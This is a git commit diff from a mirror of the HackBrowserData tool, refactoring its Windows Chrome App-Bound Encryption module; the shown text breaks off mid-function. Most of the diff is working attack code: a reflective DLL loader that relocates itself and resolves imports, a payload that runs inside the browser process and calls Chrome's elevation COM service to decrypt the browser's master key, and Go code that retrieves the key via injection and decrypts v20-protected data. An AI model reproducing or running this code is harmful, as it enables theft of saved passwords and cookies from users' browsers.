mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-05-21 19:06:47 +02:00
refactor(windows): clean up Chrome ABE module (#574)
* refactor(abe): remove --abe-key flag and its global state * refactor(abe): rework scratch protocol and Go/C structure
This commit is contained in:
@@ -12,7 +12,7 @@ import (
|
||||
//go:embed abe_extractor_amd64.bin
|
||||
var abePayloadAmd64 []byte
|
||||
|
||||
func getPayloadForArch(arch string) ([]byte, error) {
|
||||
func ABEPayload(arch string) ([]byte, error) {
|
||||
switch arch {
|
||||
case "amd64":
|
||||
if len(abePayloadAmd64) == 0 {
|
||||
|
||||
@@ -1,7 +0,0 @@
|
||||
//go:build !windows
|
||||
|
||||
package crypto
|
||||
|
||||
func SetABEMasterKeyFromHex(_ string) error { return nil }
|
||||
|
||||
func GetABEMasterKey() []byte { return nil }
|
||||
@@ -4,7 +4,7 @@ package crypto
|
||||
|
||||
import "fmt"
|
||||
|
||||
func getPayloadForArch(arch string) ([]byte, error) {
|
||||
func ABEPayload(arch string) ([]byte, error) {
|
||||
return nil, fmt.Errorf(
|
||||
"abe: payload not embedded in this build (rebuild with -tags abe_embed; arch=%s)",
|
||||
arch,
|
||||
|
||||
@@ -1,46 +0,0 @@
|
||||
//go:build windows
|
||||
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var (
|
||||
abeCLIKeyMu sync.RWMutex
|
||||
abeCLIKey []byte
|
||||
)
|
||||
|
||||
func SetABEMasterKeyFromHex(hexKey string) error {
|
||||
if hexKey == "" {
|
||||
return fmt.Errorf("abe: empty hex key")
|
||||
}
|
||||
b, err := hex.DecodeString(hexKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("abe: decode hex key: %w", err)
|
||||
}
|
||||
if len(b) != 32 {
|
||||
return fmt.Errorf("abe: key must be 32 bytes (got %d)", len(b))
|
||||
}
|
||||
abeCLIKeyMu.Lock()
|
||||
abeCLIKey = b
|
||||
abeCLIKeyMu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
func GetABEMasterKey() []byte {
|
||||
abeCLIKeyMu.RLock()
|
||||
defer abeCLIKeyMu.RUnlock()
|
||||
if len(abeCLIKey) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]byte, len(abeCLIKey))
|
||||
copy(out, abeCLIKey)
|
||||
return out
|
||||
}
|
||||
|
||||
func ABEPayload(arch string) ([]byte, error) {
|
||||
return getPayloadForArch(arch)
|
||||
}
|
||||
@@ -45,6 +45,27 @@ func DES3Decrypt(key, iv, ciphertext []byte) ([]byte, error) {
|
||||
return cbcDecrypt(block, iv, ciphertext)
|
||||
}
|
||||
|
||||
// gcmNonceSize is the AES-GCM standard nonce size used by Chromium's v10/v20
|
||||
// cipher formats. Cross-platform because the v20 ciphertext layout is the
|
||||
// same regardless of host OS (only Windows currently produces v20).
|
||||
const gcmNonceSize = 12
|
||||
|
||||
// DecryptChromiumV20 decrypts a Chromium v20 (App-Bound Encryption) ciphertext.
|
||||
// Format: "v20" prefix (3B) + nonce (12B) + AES-GCM(payload + 16B tag).
|
||||
//
|
||||
// Cross-platform: v20 is only produced by Chrome on Windows today, but the
|
||||
// decryption math is platform-neutral. Keeping it here rather than in
|
||||
// crypto_windows.go ensures the routing in browser/chromium/decrypt.go stays
|
||||
// testable on Linux/macOS CI.
|
||||
func DecryptChromiumV20(key, ciphertext []byte) ([]byte, error) {
|
||||
if len(ciphertext) < versionPrefixLen+gcmNonceSize {
|
||||
return nil, errShortCiphertext
|
||||
}
|
||||
nonce := ciphertext[versionPrefixLen : versionPrefixLen+gcmNonceSize]
|
||||
payload := ciphertext[versionPrefixLen+gcmNonceSize:]
|
||||
return AESGCMDecrypt(key, nonce, payload)
|
||||
}
|
||||
|
||||
// AESGCMEncrypt encrypts data using AES-GCM mode.
|
||||
func AESGCMEncrypt(key, nonce, plaintext []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
|
||||
@@ -8,10 +8,8 @@ import (
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
gcmNonceSize = 12 // AES-GCM standard nonce size
|
||||
minGCMDataSize = versionPrefixLen + gcmNonceSize // "v10" + nonce = 15 bytes minimum
|
||||
)
|
||||
// gcmNonceSize is defined in crypto.go (cross-platform).
|
||||
const minGCMDataSize = versionPrefixLen + gcmNonceSize // "v10" + nonce = 15 bytes minimum
|
||||
|
||||
func DecryptChromium(key, ciphertext []byte) ([]byte, error) {
|
||||
if len(ciphertext) < minGCMDataSize {
|
||||
|
||||
@@ -36,11 +36,6 @@ func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, erro
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if cliKey := crypto.GetABEMasterKey(); len(cliKey) > 0 {
|
||||
log.Debugf("abe: using --abe-key for %s", browserKey)
|
||||
return cliKey, nil
|
||||
}
|
||||
|
||||
payload, err := crypto.ABEPayload("amd64")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abe: %w", err)
|
||||
@@ -63,7 +58,7 @@ func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, erro
|
||||
if len(key) != 32 {
|
||||
return nil, fmt.Errorf("abe: unexpected key length %d (want 32)", len(key))
|
||||
}
|
||||
log.Debugf("abe: retrieved %s master key via reflective injection", browserKey)
|
||||
log.Infof("abe: retrieved %s master key via reflective injection", browserKey)
|
||||
return key, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -39,3 +39,26 @@ payload-verify: $(ABE_BIN)
|
||||
|
||||
payload-clean:
|
||||
rm -f $(ABE_BIN_DIR)/abe_extractor_*.bin
|
||||
|
||||
# Scratch-layout codegen. The C header bootstrap_layout.h is the single
|
||||
# source of truth; the Go constants in crypto/windows/abe_native/bootstrap
|
||||
# are derived from it via cgo -godefs. We pin CC to zig for reproducible
|
||||
# output across macOS / Linux / Windows hosts.
|
||||
ABE_LAYOUT_PKG = $(ABE_SRC_DIR)/bootstrap
|
||||
ABE_LAYOUT_GO = $(ABE_LAYOUT_PKG)/layout.go
|
||||
|
||||
.PHONY: gen-layout gen-layout-verify
|
||||
|
||||
# Split into two stages so a cgo failure doesn't silently produce an empty
|
||||
# layout.go via `gofmt` on empty stdin. Write cgo output to a temp file first;
|
||||
# only if that step succeeds do we format and publish.
|
||||
gen-layout:
|
||||
cd $(ABE_LAYOUT_PKG) && \
|
||||
CC="$(ZIG) cc" $(GO) tool cgo -godefs layout_gen.go > layout.go.tmp && \
|
||||
gofmt layout.go.tmp > layout.go && \
|
||||
rm -f layout.go.tmp && \
|
||||
rm -rf _obj
|
||||
|
||||
gen-layout-verify: gen-layout
|
||||
@git diff --exit-code $(ABE_LAYOUT_GO) >/dev/null || \
|
||||
(echo "layout.go is stale — run 'make gen-layout' and commit"; exit 1)
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <objbase.h>
|
||||
@@ -12,7 +10,17 @@
|
||||
#define ENV_ENC_B64 "HBD_ABE_ENC_B64"
|
||||
#define ENV_ENC_MAX 8192
|
||||
|
||||
typedef struct {
|
||||
HRESULT hr; // last COM HRESULT (0 on success)
|
||||
DWORD comErr; // IElevator.DecryptData out DWORD (0 on success / non-COM paths)
|
||||
BYTE errCode; // ABE_ERR_* (ABE_ERR_OK on success)
|
||||
BSTR plain; // 32-byte BSTR on success; NULL otherwise. Caller owns.
|
||||
} extract_result;
|
||||
|
||||
static void DoExtractKey(BYTE *imageBase);
|
||||
static extract_result extract_key_inner(const BrowserComIds *ids);
|
||||
static void publish_key(BYTE *imageBase, const BYTE *plain);
|
||||
static void publish_error(BYTE *imageBase, BYTE code, HRESULT hr, DWORD comErr);
|
||||
static BOOL GetOwnExeBasename(char *buf, DWORD bufsize);
|
||||
static BOOL Base64DecodeStack(const char *b64, BYTE *out_buf, DWORD *out_len);
|
||||
static HRESULT CallDecryptDataBySlot(IUnknown *pObj, unsigned int vtblIndex,
|
||||
@@ -29,58 +37,99 @@ BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// DoExtractKey is the orchestrator: it handles COM init/uninit, resolves the
|
||||
// browser identity from the hosting exe, delegates the key-extraction work
|
||||
// to extract_key_inner, and publishes either the master key or a structured
|
||||
// error into the scratch region the Go injector reads.
|
||||
static void DoExtractKey(BYTE *imageBase)
|
||||
{
|
||||
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
||||
BOOL weInited = SUCCEEDED(hr);
|
||||
HRESULT initHr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
||||
BOOL weInited = SUCCEEDED(initHr);
|
||||
|
||||
char exeBasename[MAX_PATH];
|
||||
if (!GetOwnExeBasename(exeBasename, (DWORD)sizeof(exeBasename))) {
|
||||
goto cleanup_com;
|
||||
publish_error(imageBase, ABE_ERR_BASENAME, 0, 0);
|
||||
goto out;
|
||||
}
|
||||
|
||||
const BrowserComIds *ids = LookupBrowserByExe(exeBasename);
|
||||
if (!ids) {
|
||||
goto cleanup_com;
|
||||
publish_error(imageBase, ABE_ERR_BROWSER_UNKNOWN, 0, 0);
|
||||
goto out;
|
||||
}
|
||||
|
||||
extract_result r = extract_key_inner(ids);
|
||||
|
||||
if (r.errCode == ABE_ERR_OK && r.plain != NULL &&
|
||||
SysStringByteLen(r.plain) == BOOTSTRAP_KEY_LEN) {
|
||||
publish_key(imageBase, (const BYTE *)r.plain);
|
||||
} else if (r.errCode == ABE_ERR_OK && r.plain != NULL) {
|
||||
// COM call succeeded but returned wrong length.
|
||||
publish_error(imageBase, ABE_ERR_KEY_LEN, r.hr, 0);
|
||||
} else {
|
||||
publish_error(imageBase, r.errCode, r.hr, r.comErr);
|
||||
}
|
||||
|
||||
if (r.plain) {
|
||||
SecureZeroMemory(r.plain, SysStringByteLen(r.plain));
|
||||
SysFreeString(r.plain);
|
||||
}
|
||||
|
||||
out:
|
||||
if (weInited) {
|
||||
CoUninitialize();
|
||||
}
|
||||
}
|
||||
|
||||
// extract_key_inner owns a single resource (bstrEnc) and uses early returns;
|
||||
// successful exit hands the plaintext BSTR to the caller.
|
||||
static extract_result extract_key_inner(const BrowserComIds *ids)
|
||||
{
|
||||
extract_result r = {0, 0, ABE_ERR_OK, NULL};
|
||||
|
||||
char envEnc[ENV_ENC_MAX];
|
||||
DWORD envEncLen = GetEnvironmentVariableA(ENV_ENC_B64, envEnc, ENV_ENC_MAX);
|
||||
if (envEncLen == 0 || envEncLen >= ENV_ENC_MAX) {
|
||||
goto cleanup_com;
|
||||
r.errCode = ABE_ERR_ENV_MISSING;
|
||||
return r;
|
||||
}
|
||||
|
||||
BYTE encKey[ENV_ENC_MAX];
|
||||
DWORD encKeyLen = ENV_ENC_MAX;
|
||||
if (!Base64DecodeStack(envEnc, encKey, &encKeyLen) || encKeyLen == 0) {
|
||||
goto cleanup_com;
|
||||
SecureZeroMemory(encKey, ENV_ENC_MAX);
|
||||
SecureZeroMemory(envEnc, ENV_ENC_MAX);
|
||||
r.errCode = ABE_ERR_BASE64;
|
||||
return r;
|
||||
}
|
||||
|
||||
BSTR bstrEnc = SysAllocStringByteLen((LPCSTR)encKey, encKeyLen);
|
||||
SecureZeroMemory(encKey, ENV_ENC_MAX);
|
||||
SecureZeroMemory(envEnc, ENV_ENC_MAX);
|
||||
if (!bstrEnc) {
|
||||
goto cleanup_com;
|
||||
r.errCode = ABE_ERR_BSTR_ALLOC;
|
||||
return r;
|
||||
}
|
||||
|
||||
// IElevator2 is Chrome 144+; older vendors only implement v1.
|
||||
// IElevator2 is Chrome 144+; older vendors only implement v1. Try v2
|
||||
// first (when declared), fall back to v1.
|
||||
IUnknown *pObj = NULL;
|
||||
HRESULT hr = S_OK;
|
||||
if (ids->has_iid_v2) {
|
||||
hr = CoCreateInstance(&ids->clsid, NULL, CLSCTX_LOCAL_SERVER,
|
||||
&ids->iid_v2, (void **)&pObj);
|
||||
if (FAILED(hr)) {
|
||||
pObj = NULL;
|
||||
}
|
||||
if (FAILED(hr)) pObj = NULL;
|
||||
}
|
||||
if (!pObj) {
|
||||
hr = CoCreateInstance(&ids->clsid, NULL, CLSCTX_LOCAL_SERVER,
|
||||
&ids->iid_v1, (void **)&pObj);
|
||||
if (FAILED(hr)) {
|
||||
pObj = NULL;
|
||||
}
|
||||
if (FAILED(hr)) pObj = NULL;
|
||||
}
|
||||
if (!pObj) {
|
||||
goto free_enc;
|
||||
SysFreeString(bstrEnc);
|
||||
r.hr = hr;
|
||||
r.errCode = ABE_ERR_COM_CREATE;
|
||||
return r;
|
||||
}
|
||||
|
||||
CoSetProxyBlanket(pObj,
|
||||
@@ -95,28 +144,37 @@ static void DoExtractKey(BYTE *imageBase)
|
||||
hr = CallDecryptDataBySlot(pObj, DecryptDataVtblIndex(ids->kind),
|
||||
bstrEnc, &bstrPlain, &comErr);
|
||||
pObj->lpVtbl->Release(pObj);
|
||||
|
||||
if (SUCCEEDED(hr) && bstrPlain) {
|
||||
UINT plainLen = SysStringByteLen(bstrPlain);
|
||||
if (plainLen == BOOTSTRAP_KEY_LEN) {
|
||||
// Write key before status; Go reads key only after status==READY.
|
||||
for (UINT i = 0; i < BOOTSTRAP_KEY_LEN; ++i) {
|
||||
imageBase[BOOTSTRAP_KEY_OFFSET + i] = ((BYTE *)bstrPlain)[i];
|
||||
}
|
||||
MemoryBarrier();
|
||||
imageBase[BOOTSTRAP_KEY_STATUS_OFFSET] = BOOTSTRAP_KEY_STATUS_READY;
|
||||
}
|
||||
SecureZeroMemory(bstrPlain, plainLen);
|
||||
SysFreeString(bstrPlain);
|
||||
}
|
||||
|
||||
free_enc:
|
||||
SysFreeString(bstrEnc);
|
||||
|
||||
cleanup_com:
|
||||
if (weInited) {
|
||||
CoUninitialize();
|
||||
if (FAILED(hr) || bstrPlain == NULL) {
|
||||
r.hr = hr;
|
||||
r.comErr = comErr;
|
||||
r.errCode = ABE_ERR_DECRYPT_DATA;
|
||||
return r;
|
||||
}
|
||||
|
||||
r.hr = hr;
|
||||
r.comErr = comErr;
|
||||
r.errCode = ABE_ERR_OK;
|
||||
r.plain = bstrPlain;
|
||||
return r;
|
||||
}
|
||||
|
||||
static void publish_key(BYTE *imageBase, const BYTE *plain)
|
||||
{
|
||||
// Write key before status; Go reads key only after status == READY.
|
||||
for (UINT i = 0; i < BOOTSTRAP_KEY_LEN; ++i) {
|
||||
imageBase[BOOTSTRAP_KEY_OFFSET + i] = plain[i];
|
||||
}
|
||||
MemoryBarrier();
|
||||
imageBase[BOOTSTRAP_KEY_STATUS_OFFSET] = BOOTSTRAP_KEY_STATUS_READY;
|
||||
}
|
||||
|
||||
static void publish_error(BYTE *imageBase, BYTE code, HRESULT hr, DWORD comErr)
|
||||
{
|
||||
*(volatile BYTE *)(imageBase + BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET) = code;
|
||||
*(volatile DWORD *)(imageBase + BOOTSTRAP_HRESULT_OFFSET) = (DWORD)hr;
|
||||
*(volatile DWORD *)(imageBase + BOOTSTRAP_COMERR_OFFSET) = comErr;
|
||||
}
|
||||
|
||||
static BOOL GetOwnExeBasename(char *buf, DWORD bufsize)
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <stddef.h>
|
||||
@@ -13,6 +11,14 @@ typedef BOOL (WINAPI *pfn_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
typedef LONG (NTAPI *pfn_NtFlushInstructionCache)(HANDLE, PVOID, ULONG);
|
||||
typedef BOOL (WINAPI *pfn_DllMain)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
typedef struct {
|
||||
pfn_LoadLibraryA LoadLibraryA;
|
||||
pfn_GetProcAddress GetProcAddress;
|
||||
pfn_VirtualAlloc VirtualAlloc;
|
||||
pfn_VirtualProtect VirtualProtect;
|
||||
pfn_NtFlushInstructionCache NtFlushInstructionCache;
|
||||
} resolved_imports;
|
||||
|
||||
#define MARK(imgBase, step) do { \
|
||||
*(volatile BYTE *)((BYTE *)(imgBase) + BOOTSTRAP_MARKER_OFFSET) = (BYTE)(step); \
|
||||
} while (0)
|
||||
@@ -26,7 +32,10 @@ static __attribute__((noinline)) ULONG_PTR get_caller_ip(void)
|
||||
return (ULONG_PTR)__builtin_return_address(0);
|
||||
}
|
||||
|
||||
__declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
|
||||
// locate_own_image_base walks backwards from the return IP of the calling
|
||||
// frame until it hits a valid MZ/PE header. Must not be inlined (see
|
||||
// get_caller_ip above).
|
||||
static ULONG_PTR locate_own_image_base(void)
|
||||
{
|
||||
ULONG_PTR imageBase = get_caller_ip();
|
||||
while (imageBase > 0) {
|
||||
@@ -36,131 +45,155 @@ __declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
|
||||
if (lfanew > 0 && lfanew < 0x1000) {
|
||||
PIMAGE_NT_HEADERS64 nt =
|
||||
(PIMAGE_NT_HEADERS64)(imageBase + (ULONG_PTR)lfanew);
|
||||
if (nt->Signature == IMAGE_NT_SIGNATURE) break;
|
||||
if (nt->Signature == IMAGE_NT_SIGNATURE) return imageBase;
|
||||
}
|
||||
}
|
||||
imageBase--;
|
||||
}
|
||||
if (imageBase == 0) return 0;
|
||||
MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND);
|
||||
return 0;
|
||||
}
|
||||
|
||||
pfn_LoadLibraryA pLoadLibraryA =
|
||||
// read_preresolved_imports pulls the five function pointers the Go injector
|
||||
// patched into the payload's DOS stub (see patchPreresolvedImports on the
|
||||
// Go side). Returns FALSE if any slot is NULL — indicating a build-stub
|
||||
// mismatch between C and Go.
|
||||
static BOOL read_preresolved_imports(ULONG_PTR imageBase, resolved_imports *out)
|
||||
{
|
||||
out->LoadLibraryA =
|
||||
*(pfn_LoadLibraryA *)(imageBase + BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET);
|
||||
pfn_GetProcAddress pGetProcAddress =
|
||||
out->GetProcAddress =
|
||||
*(pfn_GetProcAddress *)(imageBase + BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET);
|
||||
pfn_VirtualAlloc pVirtualAlloc =
|
||||
out->VirtualAlloc =
|
||||
*(pfn_VirtualAlloc *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET);
|
||||
pfn_VirtualProtect pVirtualProtect =
|
||||
out->VirtualProtect =
|
||||
*(pfn_VirtualProtect *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET);
|
||||
pfn_NtFlushInstructionCache pNtFlushIC =
|
||||
out->NtFlushInstructionCache =
|
||||
*(pfn_NtFlushInstructionCache *)(imageBase + BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET);
|
||||
|
||||
if (!pLoadLibraryA || !pGetProcAddress || !pVirtualAlloc ||
|
||||
!pVirtualProtect || !pNtFlushIC) {
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS);
|
||||
return 0;
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK);
|
||||
return out->LoadLibraryA && out->GetProcAddress && out->VirtualAlloc &&
|
||||
out->VirtualProtect && out->NtFlushInstructionCache;
|
||||
}
|
||||
|
||||
PIMAGE_DOS_HEADER oldDos = (PIMAGE_DOS_HEADER)imageBase;
|
||||
PIMAGE_NT_HEADERS64 oldNt =
|
||||
(PIMAGE_NT_HEADERS64)(imageBase + (ULONG_PTR)oldDos->e_lfanew);
|
||||
// allocate_and_copy_image reserves a fresh RW region and copies the raw
|
||||
// payload bytes (headers + every section) into it. Returns the new base
|
||||
// plus a pointer to the NT headers within the new image, or NULL on
|
||||
// VirtualAlloc failure.
|
||||
static BYTE *allocate_and_copy_image(ULONG_PTR oldBase,
|
||||
const resolved_imports *imp,
|
||||
PIMAGE_NT_HEADERS64 *outNewNt)
|
||||
{
|
||||
PIMAGE_DOS_HEADER oldDos = (PIMAGE_DOS_HEADER)oldBase;
|
||||
PIMAGE_NT_HEADERS64 oldNt =
|
||||
(PIMAGE_NT_HEADERS64)(oldBase + (ULONG_PTR)oldDos->e_lfanew);
|
||||
SIZE_T sizeOfImage = oldNt->OptionalHeader.SizeOfImage;
|
||||
|
||||
BYTE *newBase = (BYTE *)pVirtualAlloc(
|
||||
BYTE *newBase = (BYTE *)imp->VirtualAlloc(
|
||||
NULL, sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!newBase) {
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC);
|
||||
return 0;
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK);
|
||||
if (!newBase) return NULL;
|
||||
|
||||
BYTE *headerSrc = (BYTE *)imageBase;
|
||||
BYTE *headerSrc = (BYTE *)oldBase;
|
||||
DWORD headerSize = oldNt->OptionalHeader.SizeOfHeaders;
|
||||
for (DWORD i = 0; i < headerSize; i++) {
|
||||
newBase[i] = headerSrc[i];
|
||||
}
|
||||
|
||||
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(oldNt);
|
||||
for (WORD i = 0; i < oldNt->FileHeader.NumberOfSections; i++) {
|
||||
BYTE *sSrc = (BYTE *)imageBase + sec[i].PointerToRawData;
|
||||
BYTE *sSrc = (BYTE *)oldBase + sec[i].PointerToRawData;
|
||||
BYTE *sDst = newBase + sec[i].VirtualAddress;
|
||||
DWORD raw = sec[i].SizeOfRawData;
|
||||
for (DWORD j = 0; j < raw; j++) {
|
||||
sDst[j] = sSrc[j];
|
||||
}
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_COPIED);
|
||||
|
||||
PIMAGE_NT_HEADERS64 newNt =
|
||||
*outNewNt =
|
||||
(PIMAGE_NT_HEADERS64)(newBase + (ULONG_PTR)oldDos->e_lfanew);
|
||||
return newBase;
|
||||
}
|
||||
|
||||
// apply_base_relocations fixes up 64-bit absolute address references in
|
||||
// the copied image if the new base differs from the preferred ImageBase.
|
||||
static void apply_base_relocations(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt)
|
||||
{
|
||||
LONG_PTR delta = (LONG_PTR)newBase - (LONG_PTR)newNt->OptionalHeader.ImageBase;
|
||||
DWORD relocSize = newNt->OptionalHeader
|
||||
.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
||||
DWORD relocRva = newNt->OptionalHeader
|
||||
.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
|
||||
if (delta != 0 && relocSize > 0 && relocRva > 0) {
|
||||
PIMAGE_BASE_RELOCATION reloc =
|
||||
(PIMAGE_BASE_RELOCATION)(newBase + relocRva);
|
||||
DWORD consumed = 0;
|
||||
while (reloc->VirtualAddress && consumed < relocSize) {
|
||||
DWORD count =
|
||||
(reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
WORD *entries =
|
||||
(WORD *)((BYTE *)reloc + sizeof(IMAGE_BASE_RELOCATION));
|
||||
for (DWORD j = 0; j < count; j++) {
|
||||
WORD type = entries[j] >> 12;
|
||||
WORD offset = entries[j] & 0x0FFF;
|
||||
if (type == IMAGE_REL_BASED_DIR64) {
|
||||
ULONG_PTR *target = (ULONG_PTR *)(newBase +
|
||||
reloc->VirtualAddress + offset);
|
||||
*target += (ULONG_PTR)delta;
|
||||
}
|
||||
}
|
||||
consumed += reloc->SizeOfBlock;
|
||||
reloc = (PIMAGE_BASE_RELOCATION)((BYTE *)reloc + reloc->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_RELOCATED);
|
||||
if (delta == 0 || relocSize == 0 || relocRva == 0) return;
|
||||
|
||||
PIMAGE_BASE_RELOCATION reloc =
|
||||
(PIMAGE_BASE_RELOCATION)(newBase + relocRva);
|
||||
DWORD consumed = 0;
|
||||
while (reloc->VirtualAddress && consumed < relocSize) {
|
||||
DWORD count =
|
||||
(reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
WORD *entries =
|
||||
(WORD *)((BYTE *)reloc + sizeof(IMAGE_BASE_RELOCATION));
|
||||
for (DWORD j = 0; j < count; j++) {
|
||||
WORD type = entries[j] >> 12;
|
||||
WORD offset = entries[j] & 0x0FFF;
|
||||
if (type == IMAGE_REL_BASED_DIR64) {
|
||||
ULONG_PTR *target = (ULONG_PTR *)(newBase +
|
||||
reloc->VirtualAddress + offset);
|
||||
*target += (ULONG_PTR)delta;
|
||||
}
|
||||
}
|
||||
consumed += reloc->SizeOfBlock;
|
||||
reloc = (PIMAGE_BASE_RELOCATION)((BYTE *)reloc + reloc->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
|
||||
// link_iat resolves the Import Address Table for each DLL the payload
|
||||
// references, using the pre-resolved LoadLibraryA + GetProcAddress the
|
||||
// Go injector patched in.
|
||||
static void link_iat(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
|
||||
const resolved_imports *imp)
|
||||
{
|
||||
DWORD impSize = newNt->OptionalHeader
|
||||
.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
|
||||
DWORD impRva = newNt->OptionalHeader
|
||||
.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
|
||||
if (impSize > 0 && impRva > 0) {
|
||||
PIMAGE_IMPORT_DESCRIPTOR imp =
|
||||
(PIMAGE_IMPORT_DESCRIPTOR)(newBase + impRva);
|
||||
while (imp->Name) {
|
||||
const char *modName = (const char *)(newBase + imp->Name);
|
||||
HMODULE hMod = pLoadLibraryA(modName);
|
||||
if (hMod) {
|
||||
DWORD origRva = imp->OriginalFirstThunk
|
||||
? imp->OriginalFirstThunk : imp->FirstThunk;
|
||||
PIMAGE_THUNK_DATA origThunk =
|
||||
(PIMAGE_THUNK_DATA)(newBase + origRva);
|
||||
PIMAGE_THUNK_DATA thunk =
|
||||
(PIMAGE_THUNK_DATA)(newBase + imp->FirstThunk);
|
||||
while (origThunk->u1.AddressOfData) {
|
||||
FARPROC fn;
|
||||
if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) {
|
||||
fn = pGetProcAddress(hMod,
|
||||
(LPCSTR)(origThunk->u1.Ordinal & 0xFFFF));
|
||||
} else {
|
||||
PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)
|
||||
(newBase + origThunk->u1.AddressOfData);
|
||||
fn = pGetProcAddress(hMod, ibn->Name);
|
||||
}
|
||||
thunk->u1.Function = (ULONG_PTR)fn;
|
||||
origThunk++;
|
||||
thunk++;
|
||||
}
|
||||
}
|
||||
imp++;
|
||||
}
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED);
|
||||
if (impSize == 0 || impRva == 0) return;
|
||||
|
||||
sec = IMAGE_FIRST_SECTION(newNt);
|
||||
PIMAGE_IMPORT_DESCRIPTOR desc =
|
||||
(PIMAGE_IMPORT_DESCRIPTOR)(newBase + impRva);
|
||||
while (desc->Name) {
|
||||
const char *modName = (const char *)(newBase + desc->Name);
|
||||
HMODULE hMod = imp->LoadLibraryA(modName);
|
||||
if (hMod) {
|
||||
DWORD origRva = desc->OriginalFirstThunk
|
||||
? desc->OriginalFirstThunk : desc->FirstThunk;
|
||||
PIMAGE_THUNK_DATA origThunk =
|
||||
(PIMAGE_THUNK_DATA)(newBase + origRva);
|
||||
PIMAGE_THUNK_DATA thunk =
|
||||
(PIMAGE_THUNK_DATA)(newBase + desc->FirstThunk);
|
||||
while (origThunk->u1.AddressOfData) {
|
||||
FARPROC fn;
|
||||
if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) {
|
||||
fn = imp->GetProcAddress(hMod,
|
||||
(LPCSTR)(origThunk->u1.Ordinal & 0xFFFF));
|
||||
} else {
|
||||
PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)
|
||||
(newBase + origThunk->u1.AddressOfData);
|
||||
fn = imp->GetProcAddress(hMod, ibn->Name);
|
||||
}
|
||||
thunk->u1.Function = (ULONG_PTR)fn;
|
||||
origThunk++;
|
||||
thunk++;
|
||||
}
|
||||
}
|
||||
desc++;
|
||||
}
|
||||
}
|
||||
|
||||
// set_section_protections applies final per-section memory protections
|
||||
// (.text → RX, .rdata → R, .data → RW) based on IMAGE_SCN_MEM_* flags.
|
||||
static void set_section_protections(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
|
||||
const resolved_imports *imp)
|
||||
{
|
||||
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(newNt);
|
||||
for (WORD i = 0; i < newNt->FileHeader.NumberOfSections; i++) {
|
||||
DWORD newProtect = PAGE_READONLY;
|
||||
DWORD ch = sec[i].Characteristics;
|
||||
@@ -171,21 +204,60 @@ __declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
|
||||
newProtect = PAGE_READWRITE;
|
||||
}
|
||||
DWORD oldProtect = 0;
|
||||
pVirtualProtect(newBase + sec[i].VirtualAddress,
|
||||
sec[i].Misc.VirtualSize,
|
||||
newProtect, &oldProtect);
|
||||
